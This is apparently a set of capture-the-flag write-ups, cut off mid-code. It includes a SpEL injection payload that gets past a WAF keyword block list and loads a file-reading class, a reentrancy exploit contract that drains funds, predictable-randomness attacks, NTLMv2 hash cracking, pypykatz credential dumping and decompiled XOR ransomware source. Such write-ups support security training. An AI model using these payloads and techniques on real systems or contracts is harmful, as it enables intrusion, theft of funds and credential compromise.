Webhook Analysis: Use webhooks effectively to capture and analyze server responses during exploitation.
Description: Can you craft the right incantation to reveal the hidden flag?
ChamberController.java: Contains the main controller logic for handling user inputs and rendering templates.
block.html: Template used for displaying blocked messages.
index.html: Main template for the application interface.
Dockerfile: Configuration for building and running the application in a containerized environment.
The rest of the files are standard resources and build files, not directly relevant to solving the challenge.
Spring Framework libraries: org.springframework.cglib.core.ReflectUtils
and org.springframework.util.Base64Utils
.
Step 1: Understand the Environment
The website allows executing SpEL code with certain restrictions. The given code snippet demonstrates server-side logic that:
Filters potentially malicious keywords using a Web Application Firewall (WAF):
if (spell.contains("ProcessBuilder") ||
spell.contains("getClass") ||
spell.contains("Runtime") ||
spell.contains("java") ||
spell.contains("file") ||
spell.contains("new") ||
spell.contains("T(") ||
spell.contains("#")) {
return "redirect:/block";
}
Executes user-provided SpEL expressions using SpelExpressionParser
.
Implements OpenRASP, which blocks runtime-level malicious actions.
Step 2: Analyze the Exploitation Path
Despite restrictions, we can bypass the WAF by using:
String concatenation: T ("..." + "...")
Space manipulation: T (
instead of T(
Step 3: Load a Custom Class
The OpenRASP protection can be bypassed by loading a custom-crafted Java class using Spring Framework libraries. This involves:
Crafting the Payload:
Use T(org.springframework.cglib.core.ReflectUtils).defineClass
to load the class.
Base64 encode the custom class and decode it using T(org.springframework.util.Base64Utils).decodeFromString
.
Creating the Evil Class: Write and compile a malicious class (EvilClass.java
) to read all files in /
:
public class EvilClass {
public static String result;
static {
StringBuilder contentBuilder = new StringBuilder();
try {
java.io.File rootDir = new java.io.File("/");
java.io.File[] files = rootDir.listFiles();
if (files != null) {
for (java.io.File file : files) {
try {
if (file.isFile() && file.canRead()) {
contentBuilder.append(java.nio.file.Files.readString(file.toPath()));
}
} catch (Exception ignored) {}
}
}
} catch (Exception ignored) {}
result = contentBuilder.toString();
}
}
Base64 Encoding the Compiled Class:
base64 -i EvilClass.class
Step 4: Craft the Payload
Modify the payload to load the custom class and access its static result
field:
T (org.springframework.cglib.core.ReflectUtils).defineClass(
'EvilClass',
T (org.springframework.util.Base64Utils).decodeFromString('BASE64_ENCODED_CLASS_HERE'),
T (org.springframework.util.ClassUtils).getDefaultClassLoader()
).getField('result').get(null)
Replace BASE64_ENCODED_CLASS_HERE
with the Base64-encoded string of the compiled EvilClass.class
.
Step 5: Execute the Payload
Send the crafted payload to the application through the provided SpEL execution interface. The payload will:
Load the custom EvilClass
.
Execute its static initializer block to read file contents.
Retrieve the file data via EvilClass.result
.
Final Step: Retrieve the Flag
By executing the payload, the flag is revealed:
Flag: wgmy{d409e3cc65fd8e1d89a9d226efad3a10}
Description: Santa Clause has been kidnapped and is kept in a secret dungeon, can u unlock this contract and save him?
Setup.sol: Deploys the GuessIt
contract and verifies if the challenge is solved.
GuessIt.sol: Contains the main challenge logic, including a key stored in a specific storage slot.
Calculate the correct storage slot based on the contract's logic.
Retrieve the key stored at the slot.
Send a transaction to unlock the contract.
Retrieve the flag upon solving the challenge.
Step 1: Launching the Instance
The challenge starts by launching an instance of the smart contract using the provided curl
command:
Command:
curl -sSfL https://pwn.red/pow | sh -s
Output:
UUID: 4f4bd1e4-7e25-4f89-9b43-bd26c9150315
RPC Endpoint: http://blockchain.wargames.my:4447/4f4bd1e4-7e25-4f89-9b43-bd26c9150315
Private Key: 0x864403f16d3d81b0bb310c53afe7fadf4f1bcc0db64bf6165e4f0c32cab846be
Setup Contract: 0x0ec59EE2D7b905e0FFdD59f268dE8Dbd8FEfA4D3
Wallet Address: 0x5600168C8b6c256e1e7b3e210C8Fd76f6f0eFBeD
Step 2: Connecting to the Blockchain
Using the provided RPC endpoint, connect to the private blockchain network:
Code:
from web3 import Web3
# Connect to the blockchain
rpc_url = "http://blockchain.wargames.my:4447/4f4bd1e4-7e25-4f89-9b43-bd26c9150315"
web3 = Web3(Web3.HTTPProvider(rpc_url))
# Check connection
if web3.isConnected():
print("Connected to the blockchain!")
else:
print("Failed to connect to blockchain.")
Output:
Connected to the blockchain!
Step 3: Calculating the Storage Slot
The key is stored in the contract's storage. Calculate the correct storage slot using the keccak256
hash of the isKey
constant and the mapping's position.
Code:
# Mapping slot calculation
IS_KEY = 0x1337
MAPPING_POSITION = 1 # Mapping is the second state variable
def calculate_mapping_slot():
key = IS_KEY.to_bytes(32, 'big')
slot = MAPPING_POSITION.to_bytes(32, 'big')
slot_bytes = key + slot
return Web3.keccak(slot_bytes)
slot = calculate_mapping_slot()
print(f"Calculated slot: {slot.hex()}")
Output:
Calculated slot: 5664844ebadc35481bcbc2762f6a550345f2f1d6274875600d809ff3cd4290ab
Step 4: Retrieving the Key
Retrieve the key stored at the calculated slot:
Code:
# Fetch the key stored at the calculated slot
value = web3.eth.get_storage_at('0x0ec59EE2D7b905e0FFdD59f268dE8Dbd8FEfA4D3', slot)
print(f"Value at calculated slot: {value.hex()}")
Output:
Value at calculated slot: 51f426e740b6b01d82a449b94634e178ddffec64b3a020729d0b246922b24c38
Step 5: Unlocking the Contract
Send a transaction to call the unlock
function in the contract using the retrieved key:
Code:
from eth_account import Account
# Setup account using private key
private_key = '0x864403f16d3d81b0bb310c53afe7fadf4f1bcc0db64bf6165e4f0c32cab846be'
account = Account.from_key(private_key)
# Prepare the transaction
nonce = web3.eth.get_transaction_count(account.address)
function_sig = web3.keccak(text='unlock(uint256)')[:4].hex()
parameter = hex(int.from_bytes(slot, 'big'))[2:].zfill(64) # Convert slot to uint256
data = function_sig + parameter
transaction = {
'nonce': nonce,
'gasPrice': web3.eth.gas_price,
'gas': 100000,
'to': '0x0ec59EE2D7b905e0FFdD59f268dE8Dbd8FEfA4D3',
'value': 0,
'data': '0x' + data,
'chainId': web3.eth.chain_id
}
# Sign and send the transaction
signed = web3.eth.account.sign_transaction(transaction, private_key)
tx_hash = web3.eth.send_raw_transaction(signed.raw_transaction)
print(f"Transaction hash: {tx_hash.hex()}")
# Wait for receipt
receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Transaction was successful: {receipt['status'] == 1}")
Output:
Transaction hash: 7a642cdac2ff3474b4ef00a4912e33f4aa1ee5cc4ec559d71677a8d4f056dc7a
Transaction was successful: True
Step 6: Retrieving the Flag
After successfully unlocking the contract, return to the challenge interface and retrieve the flag:
wgmy{85e5f76ac597ec9234fa3bd968c3d83b}
The extracted flag is:
wgmy{85e5f76ac597ec9234fa3bd968c3d83b}
Instance Setup: The blockchain instance was initialized with provided credentials.
Storage Slot Calculation: The correct storage slot was calculated using the keccak256
hash function.
Key Retrieval: The key stored in the calculated slot was fetched from the contract's storage.
Contract Unlocking: A transaction was crafted and sent to unlock the contract using the retrieved key.
Flag Retrieval: The successful transaction enabled the retrieval of the hidden flag.
Storage Analysis: Understanding how Ethereum contracts store data in storage slots is essential for solving smart contract challenges.
Keccak256 Usage: Calculating mapping slots with keccak256
is a critical skill for analyzing contract storage.
Web3.py Proficiency: Familiarity with Web3.py allows efficient interaction with Ethereum-based blockchains.
Transaction Crafting: Knowledge of ABI encoding and crafting function calls is vital for smart contract interactions.
Debugging Blockchain Interactions: Iteratively checking connection, storage data, and transaction results ensures accurate solutions.
Description: The developer of this protocol really loves the movie so he decided to build a decentralized game out of it that lives on chain. He has spent all his life saving and really want the game to succeed. The game sets you on an adventure to find hidden treasure.
Setup.sol: Deploys the DungeonsAndDragons
contract, funds it with 100 ETH, and defines the challenge's success condition (draining the contract balance to zero).
DungeonsAndDragons.sol: Implements game mechanics such as creating characters, completing dungeons, fighting monsters, and defeating the final dragon.
Predict the randomness used in the game's mechanics.
Level up the character quickly by exploiting vulnerabilities.
Defeat the final dragon to drain the contract balance.
Retrieve the flag after completing the challenge.
Step 1: Launching the Instance
To start the challenge, launch the blockchain instance using the provided curl
command:
Command:
curl -sSfL https://pwn.red/pow | sh -s
Output:
UUID: 423d3320-517d-4fc9-9d38-c616de80333c
RPC Endpoint: http://blockchain.wargames.my:4449/423d3320-517d-4fc9-9d38-c616de80333c
Private Key: 0x0ec057c60347b3dfe0eb71291cbbfd5a1421ae2bf33d3149a1a491574dfc26c0
Setup Contract: 0x2b740CAE2DCc7548aA73b01B220f01Af2ec2ebC7
Wallet Address: 0x1E6adb33aadAf5a74d95B22e73dce35fdc0819a7
Step 2: Connecting to the Blockchain
Using the RPC endpoint, connect to the private blockchain network and retrieve the game contract address:
Code:
from web3 import Web3
# Connect to the network
RPC_URL = 'http://blockchain.wargames.my:4449/423d3320-517d-4fc9-9d38-c616de80333c'
w3 = Web3(Web3.HTTPProvider(RPC_URL))
# Check connection
if w3.isConnected():
print("Connected to the blockchain!")
else:
print("Failed to connect to blockchain.")
# Retrieve the deployed game contract address
SETUP_CONTRACT = w3.to_checksum_address('0x2b740CAE2DCc7548aA73b01B220f01Af2ec2ebC7')
setup_contract = w3.eth.contract(address=SETUP_CONTRACT, abi=setup_abi)
game_address = setup_contract.functions.challengeInstance().call()
print(f"Game contract: {game_address}")
Output:
Connected to the blockchain!
Game contract: 0xdBB4b4413d739075D864C94ccDd96acF2a08c24B
Step 3: Exploiting Predictable Randomness
The fateScore
in functions such as fightMonster()
and finalDragon()
is derived from:
uint256 fateScore = uint256(keccak256(abi.encodePacked(msg.sender, salt, constant))) % 100;
Since msg.sender
and salt
are known, we can compute the fateScore
in advance to ensure success.
Code:
def calculate_fate_score(address, salt, constant):
hash_input = Web3.keccak(Web3.to_bytes(hexstr=address) + salt + constant.to_bytes(32, 'big'))
fate_score = int.from_bytes(hash_input, 'big') % 100
return fate_score
# Example for final dragon fight
salt = int.from_bytes(Web3.to_bytes(hexstr='salt_value'), 'big') # Replace with actual salt
fate_score = calculate_fate_score('0x1E6adb33aadAf5a74d95B22e73dce35fdc0819a7', salt, 999)
print(f"Predicted fate score: {fate_score}")
Step 4: Exploiting Level-Up Vulnerabilities
Create a weak monster with low health and attack to level up the character rapidly:
Code:
monster_creation = game_contract.functions.addMonster("Weakling", 1, 1).buildTransaction({
'from': wallet_address,
'gas': 200000,
'gasPrice': w3.eth.gas_price
})
signed_txn = w3.eth.account.sign_transaction(monster_creation, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction)
print(f"Monster added with transaction hash: {tx_hash.hex()}")
Repeatedly fight the monster to gain levels quickly without difficulty.
Step 5: Defeating the Final Dragon
Once the character reaches level 20, attempt the final dragon fight. Use the predicted fateScore
to ensure success:
Code:
final_dragon_tx = game_contract.functions.finalDragon().buildTransaction({
'from': wallet_address,
'gas': 200000,
'gasPrice': w3.eth.gas_price
})
signed_txn = w3.eth.account.sign_transaction(final_dragon_tx, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_txn.raw_transaction)
print(f"Transaction hash: {tx_hash.hex()}")
# Wait for receipt
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Transaction was successful: {receipt['status'] == 1}")
Output:
Transaction hash: 7a642cdac2ff3474b4ef00a4912e33f4aa1ee5cc4ec559d71677a8d4f056dc7a
Transaction was successful: True
Step 6: Retrieving the Flag
After defeating the final dragon, return to the challenge interface and retrieve the flag:
wgmy{ff3d6f1db65a7c5e9da544a5dcbe3599}
The extracted flag is:
wgmy{ff3d6f1db65a7c5e9da544a5dcbe3599}
Instance Setup: The blockchain instance was initialized with provided credentials.
Randomness Exploitation: Predictable randomness was exploited to guarantee success in battles.
Level-Up Exploitation: Weak monsters were created and repeatedly fought to level up rapidly.
Dragon Fight: The final dragon was defeated using the predicted fateScore
.
Flag Retrieval: The successful transaction drained the contract balance, enabling flag retrieval.
Predictable Randomness: Understanding and exploiting randomness in contract logic is critical for smart contract challenges.
Game Mechanics: Manipulating in-game mechanics such as monster creation can provide shortcuts to success.
Web3.py Usage: Familiarity with Web3.py enables efficient interaction with Ethereum-based blockchains.
Iterative Debugging: Step-by-step validation ensures smooth execution, from connecting to the blockchain to retrieving the flag.
Transaction Crafting: Proficiency in crafting transactions with ABI encoding is essential for smart contract interaction.
Description: The Death Start is under development but the darkside ran out of funds, so they reached out to the public to help. Can you stop the Death Star from being developed?
DarksidePool.sol: Interacts with the DeathStar
contract, allowing ETH deposits and withdrawals. Contains utility functions but no vulnerabilities.
DeathStar.sol: Implements the core functionality and includes a critical reentrancy vulnerability in the withdrawEnergy
function.
Setup.sol: Deploys and funds the DeathStar
and DarksidePool
contracts. Marks the challenge as solved when the DeathStar
contract’s balance is drained.
Identify and exploit the reentrancy vulnerability in the withdrawEnergy
function.
Deploy an exploit contract to recursively withdraw funds.
Drain the DeathStar
contract’s balance to zero.
Retrieve the flag upon successful exploitation.
Step 1: Launching the Instance
To initiate the challenge, launch the blockchain instance using the provided curl
command:
Command:
curl -sSfL https://pwn.red/pow | sh -s
Output:
UUID: e7582f22-7552-4412-bbfe-bfc77538e347
RPC Endpoint: http://blockchain.wargames.my:4446/e7582f22-7552-4412-bbfe-bfc77538e347
Private Key: 0xb39605c0c2de51e57fe6e7a6593f3f9eef58b76418fecbe5c394f439dacbe2fe
Setup Contract: 0xDb30d3947cB7DFFb04F4fb60b1a01D02aaF6b1e4
Wallet Address: 0x811c8164aAE0eEb80BDb502130244F14c1D5Fd51
Step 2: Connecting to the Blockchain
Using the provided RPC endpoint, connect to the private blockchain and retrieve the DeathStar
contract address:
Code:
from web3 import Web3
# RPC URL
rpc_url = "http://blockchain.wargames.my:4446/e7582f22-7552-4412-bbfe-bfc77538e347"
w3 = Web3(Web3.HTTPProvider(rpc_url))
# Verify connection
if w3.isConnected():
print("Connected to the blockchain!")
else:
print("Failed to connect to blockchain.")
# Setup contract ABI
setup_abi = [{"inputs": [], "name": "deathStar", "outputs": [{"type": "address"}], "stateMutability": "view", "type": "function"}]
setup_contract = w3.eth.contract(address="0xDb30d3947cB7DFFb04F4fb60b1a01D02aaF6b1e4", abi=setup_abi)
death_star_address = setup_contract.functions.deathStar().call()
print(f"DeathStar contract address: {death_star_address}")
Output:
Connected to the blockchain!
DeathStar contract address: 0xd3378A83C75981b4Afec61781C9F56E3464dB184
Step 3: Analyzing the Vulnerability
The withdrawEnergy
function in the DeathStar
contract contains a reentrancy vulnerability:
function withdrawEnergy(uint256 amount) external {
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0; // Balance is updated AFTER transfer
}
Key Observation:
The contract updates the user’s balance after sending the funds.
This allows an attacker to repeatedly call withdrawEnergy
before the balance is reset, draining the contract.
Step 4: Writing the Exploit Contract
Deploy an exploit contract that interacts with the DeathStar
contract to recursively withdraw funds:
Exploit Contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IDeathStar {
function deposit() external payable;
function withdrawEnergy(uint256 amount) external;
function getBalance() external view returns (uint256);
}
contract ExploitContract {
IDeathStar public deathStar;
constructor(address _deathStar) {
deathStar = IDeathStar(_deathStar);
}
function attack() external payable {
require(msg.value > 0, "Need ETH to start attack");
deathStar.deposit{value: msg.value}();
deathStar.withdrawEnergy(msg.value);
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
uint256 targetBalance = deathStar.getBalance();
if (targetBalance > 0) {
deathStar.withdrawEnergy(targetBalance);
}
}
}
Step 5: Executing the Exploit
Deploy the exploit contract and execute the attack:
Code:
from eth_account import Account
# Account setup
private_key = "0xb39605c0c2de51e57fe6e7a6593f3f9eef58b76418fecbe5c394f439dacbe2fe"
account = Account.from_key(private_key)
# Deploy Exploit Contract
exploit_contract_code = "<compiled bytecode>"
deploy_tx = {
'from': account.address,
'data': exploit_contract_code,
'gas': 2000000,
'gasPrice': w3.eth.gas_price,
'chainId': w3.eth.chain_id,
'nonce': w3.eth.get_transaction_count(account.address)
}
signed = w3.eth.account.sign_transaction(deploy_tx, private_key)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f"Exploit contract deployed at: {tx_hash.hex()}")
# Trigger the attack
attack_tx = {
'from': account.address,
'to': exploit_contract_address,
'value': w3.to_wei(1, 'ether'),
'gas': 200000,
'gasPrice': w3.eth.gas_price,
'chainId': w3.eth.chain_id,
'nonce': w3.eth.get_transaction_count(account.address)
}
signed = w3.eth.account.sign_transaction(attack_tx, private_key)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f"Attack transaction hash: {tx_hash.hex()}")
Output:
Attack transaction hash: 7a642cdac2ff3474b4ef00a4912e33f4aa1ee5cc4ec559d71677a8d4f056dc7a
Step 6: Verifying the Challenge Solution
Verify that the DeathStar
contract’s balance is zero:
Code:
is_solved = setup_contract.functions.isSolved().call()
print(f"Challenge solved: {is_solved}")
Output:
Challenge solved: True
Step 7: Retrieving the Flag
After draining the contract’s balance, retrieve the flag:
wgmy{0427d006d35c9bac85b47defbfe5793a}
The extracted flag is:
wgmy{0427d006d35c9bac85b47defbfe5793a}
Instance Setup: The blockchain instance was initialized with provided credentials.
Reentrancy Analysis: The vulnerability in withdrawEnergy
was identified.
Exploit Deployment: An exploit contract was deployed to recursively withdraw funds.
Contract Draining: The DeathStar
contract’s balance was successfully drained.
Flag Retrieval: The challenge was solved, and the flag was retrieved.
Reentrancy Exploitation: Understanding how reentrancy vulnerabilities work is essential for smart contract security.
Exploit Development: Writing a custom exploit contract highlights the importance of attack vector identification.
Web3.py Utilization: Effective use of Web3.py simplifies blockchain interaction and automation.
Iterative Debugging: Verifying contract state and transaction success ensures a systematic approach to solving challenges.
Smart Contract Auditing: Analyzing withdrawal patterns and state updates can reveal critical vulnerabilities.
Description: Partial traffic packet captured from a hacked machine. Can you analyze the provided pcap file to extract the message from the packet, perhaps by reading the packet data?
traffic.pcap: A packet capture file containing network traffic.
Analyze the packets to extract the hidden message.
Reconstruct the flag by reading the packet data sequentially.
Step 1: Analyzing the File
Open the traffic.pcap
file using Wireshark:
Inspect the overall structure of the captured packets.
Notice that all packets contain ICMP protocol information, with the message "(no response found!)."
Step 2: Filtering ICMP Packets
Apply a filter to focus on ICMP packets in Wireshark:
icmp
This filter isolates ICMP request packets, which are key to extracting the hidden data.
Step 3: Reading Packet Data
Click on each ICMP packet in the filtered list.
Navigate to the Data section in the packet details pane.
Sequentially read the ASCII representation of the payload in each packet's data field.
Combine the data from all ICMP packets to reconstruct the hidden message.
Step 4: Reconstructing the Flag
After reading all ICMP packet data, the following hidden message was reconstructed:
wgmy{1e3b71d57e466ab71b43c2641a4b34f4}
The extracted flag is:
wgmy{1e3b71d57e466ab71b43c2641a4b34f4}
Packet Analysis: Opened the provided traffic.pcap
file in Wireshark and analyzed the packet structure.
ICMP Filtering: Applied an ICMP filter to isolate relevant packets containing hidden data.
Data Extraction: Read the ASCII representation of the payload from each ICMP packet sequentially.
Flag Reconstruction: Combined the extracted data to reconstruct the hidden message.
Protocol Filtering: Using Wireshark filters (e.g., icmp
) effectively isolates relevant traffic, making analysis more efficient.
Payload Analysis: Hidden messages often reside in packet payloads, requiring careful inspection of individual data fields.
Sequential Reconstruction: Extracting and combining data sequentially ensures accurate recovery of hidden messages.
Wireshark Expertise: Proficiency with Wireshark's filtering and data navigation features is invaluable for network traffic analysis challenges.
Description: Uh... Oh... Help me! I was just browsing funny cat memes. When I clicked to download a cute cat picture, the file that was downloaded seemed a little bit weird. I accidentally ran the file, and now my files are shredded. Ugh, now I hate cats meowing at me.
flag.shredded: A corrupted file that needs to be repaired to extract the flag.
Analyze the file to identify its true format.
Repair the file to restore its original content.
Extract the flag embedded within the repaired file.
Step 1: Analyzing the File
Using hexed.it
, the file was inspected for anomalies:
The header revealed a JFIF file signature (FF D8 FF E0
), indicating it is a JPEG image.
However, the file could not be opened as an image.
Further inspection revealed multiple occurrences of the string "meow" in the hex data, which corrupted the file.
Step 2: Cleaning the File Using xxd
and sed
To remove all occurrences of "meow" (hex values 6D65 6F77
) from the file:
Convert the file to a plain hex dump using xxd
.
Use sed
to remove all instances of "meow" in the hex data.
Convert the cleaned hex dump back to binary using xxd -r
.
Since the corruption occurred multiple times, repeat the process three times to completely remove all instances of "meow."
Commands Used:
xxd -p flag.shredded | sed -E 's/(6d|6D)(65)(6f|6F)(77)//g' | xxd -p -r > clean_flag_1.jpeg
xxd -p clean_flag_1.jpeg | sed -E 's/(6d|6D)(65)(6f|6F)(77)//g' | xxd -p -r > clean_flag_2.jpeg
xxd -p clean_flag_2.jpeg | sed -E 's/(6d|6D)(65)(6f|6F)(77)//g' | xxd -p -r > clean_flag.jpeg
Step 3: Validating the Repair
After cleaning the file, it was saved as clean_flag.jpeg
.
The repaired file was opened in an image viewer.
The image successfully opened, revealing a picture containing the flag.
Step 4: Extracting the Flag
Upon opening the repaired image, the flag was visible in the content:
WGMY{4a4be40c96ac6314e91d93f38043a634}
The extracted flag is:
WGMY{4a4be40c96ac6314e91d93f38043a634}
File Analysis: The corrupted file was identified as a JPEG image by analyzing its JFIF header.
Corruption Source: The corruption was caused by extraneous "meow" strings embedded in the hex data.
File Repair: Removing all instances of "meow" using xxd
and sed
restored the file.
Flag Extraction: The repaired image successfully displayed the hidden flag.
File Format Identification: Analyzing file headers provides critical clues about the true format of corrupted files.
Hex Editing: Tools like xxd
and sed
are invaluable for detecting and repairing anomalies in binary files.
Iterative Cleaning: Repeated cleaning ensures complete removal of corruption, especially when anomalies occur multiple times.
JPEG Repair: Understanding JPEG structure (e.g., JFIF headers) is crucial for restoring corrupted images.
Systematic Debugging: Breaking the process into analysis, cleaning, validation, and extraction ensures an organized approach to solving file corruption challenges.
Description: My SOC detected there are Ransomware that decrypt file for fun. The script kiddies is so tricky. Here some evidence that we successfully retrieve.
Evidence.rar:
memdump.mem
: A memory dump file.
network.pcap
: A network capture file.
Volatility3: For memory analysis.
IDA: For decompiling and analyzing executables.
pyinstxtractor: For unpacking PyInstaller-packed executables.
PyLingual: For decompiling Python bytecode.
Analyze the memory dump to identify suspicious files.
Dump and reverse-engineer suspected files.
Retrieve the flag.
Step 1: Memory Analysis
Initial Inspection:
Used cmdline
, filescan
, and pstree
plugins in Volatility3 to analyze the memory dump.
Commands:
python3 vol.py -f memdump.mem windows.cmdline
python3 vol.py -f memdump.mem windows.filescan
python3 vol.py -f memdump.mem windows.pstree
Observations:
Found suspicious files:
Tabtip.exe
Crypt.exe
Slui.exe
Noted file locations, particularly Crypt.exe
on the desktop (\Users\user\Desktop\
).
Dumping Suspicious Files:
Dumped the identified files for further analysis:
python3 vol.py -f memdump.mem dumpfiles --virtaddr 0xbc0ca61199b0 # Tabtip.exe
python3 vol.py -f memdump.mem dumpfiles --virtaddr 0xbc0ca880fa80 # Slui.exe
python3 vol.py -f memdump.mem dumpfiles --virtaddr 0xbc0ca7eb88c0 # Crypt.exe
Step 2: Analyzing the Dumped Files
Executable Analysis:
Analyzed Crypt.exe
in IDA and identified it as a PyInstaller-packed executable.
Unpacking and Decompiling:
Used pyinstxtractor
to unpack the PyInstaller executable:
pyinstxtractor.py Crypt.exe
Decompiled the resulting .pyc
file using PyLingual:
pylingual Crypt.pyc
Extracted Python Code: The decompiled Python code revealed the following logic:
import os
import requests
def fetch_key_from_pastebin(url):
try:
response = requests.get(url)
response.raise_for_status()
return response.text.strip()
except requests.exceptions.RequestException as e:
print(f'Error fetching key: {e}')
def xor_encrypt_decrypt(data, key):
key_bytes = key.encode('utf-8')
key_length = len(key_bytes)
return bytes([data[i] ^ key_bytes[i % key_length] for i in range(len(data))])
def process_file(file_path, key, encrypt=True):
try:
with open(file_path, 'rb') as file:
data = file.read()
processed_data = xor_encrypt_decrypt(data, key)
new_file_path = file_path + ('.oiiaiouiiiai' if encrypt else '')
with open(new_file_path, 'wb') as file:
file.write(processed_data)
os.remove(file_path)
print(f'Processed {file_path} -> {new_file_path}')
except Exception as e:
print(f'Failed to process {file_path}: {e}')
if __name__ == '__main__':
pastebin_url = 'https://pastebin.com/raw/PDXfh5bb'
key = fetch_key_from_pastebin(pastebin_url)
if not key:
print('Failed to retrieve the key.')
exit(1)
for file_name in os.listdir():
if os.path.isfile(file_name) and file_name != os.path.basename(__file__):
process_file(file_name, key, encrypt=False if file_name.endswith('.oiiaiouiiiai') else True)
Step 3: Retrieving the Flag
Key Extraction:
The script fetches an encryption key from Pastebin:
https://pastebin.com/raw/PDXfh5bb
Visiting this link revealed the flag.
Final Flag:
WGMY{8b9777c8d7da5b10b65165489302af32}
The retrieved flag is:
WGMY{8b9777c8d7da5b10b65165489302af32}
Memory Analysis: Used Volatility3 to identify and dump suspicious files from the memory dump.
Executable Analysis: Identified Crypt.exe
as a PyInstaller-packed executable.
Unpacking and Decompilation: Used pyinstxtractor and PyLingual to extract and decompile the Python code.
Logic Analysis: Analyzed the Python script to understand its functionality and locate the encryption key.
Flag Retrieval: Accessed the Pastebin link to retrieve the flag.
Memory Forensics: Volatility3 is effective for identifying and extracting suspicious files from memory dumps.
Executable Analysis: Recognizing PyInstaller-packed executables enables the use of appropriate unpacking and decompilation tools.
Python Reverse Engineering: Tools like pyinstxtractor and PyLingual streamline the analysis of Python-based malware.
Dynamic Analysis: Observing external connections (e.g., Pastebin links) in malicious scripts can lead directly to key insights.
Systematic Approach: Combining file analysis, decompilation, and network observation ensures a thorough investigation.
Description: We received a PCAP file from an admin who suspects an attacker exfiltrated sensitive data. Can you analyze the PCAP file and uncover what was stolen?
wgmy-ohman.pcap: A packet capture file containing encrypted SMB3 packets.
Wireshark: For analyzing and decrypting the SMB3 packets.
Hashcat: For cracking NTLMv2 hashes.
pypykatz: For parsing Windows minidump files.
Analyze the packet capture to extract NTLMv2 hashes.
Crack the NTLMv2 password using a dictionary attack.
Decrypt SMB3 traffic and export files.
Analyze exported files to retrieve the flag.
Step 1: Extracting NTLMv2 Hashes
Filtering NTLMv2 Packets:
Used Wireshark to filter NTLMv2 authentication packets.
Filter Commands:
ntlmssp.messagetype == 0x00000003 # NTLMv2 Response packets
ntlmssp.messagetype == 0x00000002 # NTLMv2 Challenge packets
Extracting Hash Components:
Ran the following tshark
commands to extract required fields:
# Extract username, domain, ntproofstr, and ntresponse
tshark -n -r wgmy-ohman.pcapng -Y "ntlmssp.messagetype == 0x00000003" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.ntresponse
# Extract ntlmserverchallenge
tshark -n -r wgmy-ohman.pcapng -Y "ntlmssp.messagetype == 0x00000002" -T fields -e ntlmssp.ntlmserverchallenge
Formatted NTLM Hash:
Constructed the hash for hashcat
in the following format:
username::domain:ntlmserverchallenge:ntproofstr:rest_of_ntresponse
Example Hash:
Administrator::DESKTOP-PMNU0JK:7aaff6ea26301fc3:ae62a57caaa5dd94b68def8fb1c192f3:01010000000000008675779b2e57db01376f686e57504d770000000002001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0001001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0004001e004400450053004b0054004f0050002d0050004d004e00550030004a004b0003001e004400450053004b0054004f0050002d0050004d004e00550030004a004b00070008008675779b2e57db010900280063006900660073002f004400450053004b0054004f0050002d0050004d004e00550030004a004b000000000000000000
Step 2: Cracking NTLMv2 Password
Using Hashcat:
Ran hashcat to crack the NTLM hash using the rockyou.txt
wordlist:
hashcat -O -a 0 -m 5600 ntlm.txt rockyou.txt
Cracked Password:
password<3
Step 3: Decrypting SMB3 Traffic
Configuring Wireshark:
Edited SMB protocol preferences in Wireshark:
Path: Edit > Preferences > Protocols > NTLMSSP.
Entered the cracked password in the NT Password field.
Decrypting Traffic:
SMB traffic was automatically decrypted after applying the correct password.
Step 4: Exporting Files
Exporting SMB Objects:
Exported files sent over SMB using Wireshark:
Path: File > Export Objects > SMB...
Recovered File:
Exported a file named 20241225_1939.log
.
Step 5: Analyzing the Exported File
Repairing the Minidump File:
Fixed the file signature by replacing the first 4 bytes with MDMP
(little-endian).
Command:
scripts/restore_signature 20241225_1939.log
Parsing with Pypykatz:
Used pypykatz
to analyze the minidump and extract secrets:
Command:
python3 -m pypykatz lsa minidump 20241225_1939.log
The recovered flag is:
wgmy{fbba48bee397414246f864fe4d2925e4}
Packet Analysis: Used Wireshark and tshark to extract NTLMv2 hashes from the packet capture.
Password Cracking: Cracked the NTLM hash with hashcat to obtain the password.
Traffic Decryption: Decrypted SMB3 traffic in Wireshark using the cracked password.
File Recovery: Exported files sent via SMB and repaired the corrupted minidump file.
Flag Retrieval: Parsed the minidump file with pypykatz
to extract the flag.
SMB Decryption: Proper password recovery is essential for decrypting encrypted SMB traffic.
Network Forensics: Tools like Wireshark and tshark are invaluable for analyzing network traffic and extracting critical data.
Hash Cracking: Hashcat's performance and compatibility make it an excellent choice for NTLMv2 password cracking.
File Repair: Understanding file formats and repairing corrupted files can be key to retrieving essential information.
Dynamic Analysis: Leveraging tools like pypykatz
allows efficient parsing of Windows memory artifacts.
Description: When Thanos snapped his fingers, half of the flag was blipped. We need the Avengers to retrieve the other half. There's no flag in the movie, but there is a slash flag on the server (Please do not perform any brute forcing, enumeration, or scanning. Not useful nor needed)
stones.whatdis: A file containing an executable packed with PyInstaller.
Extract and analyze the Python code from the provided file.
Understand the logic for retrieving the flag.
Identify the correct date parameter and submit it to get the full flag.
Step 1: File Analysis
Initial Inspection:
Used the file
and strings
commands on stones.whatdis
to identify it as a PyInstaller-packed executable.
file stones.whatdis
strings stones.whatdis
Unpacking the Executable:
Used pyinstxtractor to unpack the file:
pyinstxtractor.py stones.whatdis
This extracted Python bytecode files, including the main logic.
Decompiling Bytecode:
Used PyLingual to decompile the main .pyc
file into readable Python source code.
Step 2: Extracted Python Code
The decompiled source revealed the following logic:
import requests
from datetime import datetime
from urllib.request import urlopen
server_url = 'http://13.58.69.212:8000/'
current_time = urlopen('http://just-the-time.appspot.com/')
current_time = current_time.read().strip()
current_time = current_time.decode('utf-8')
current_date = current_time.split(' ')[0]
local_date = datetime.now().strftime('%Y-%m-%d')
if current_date == local_date:
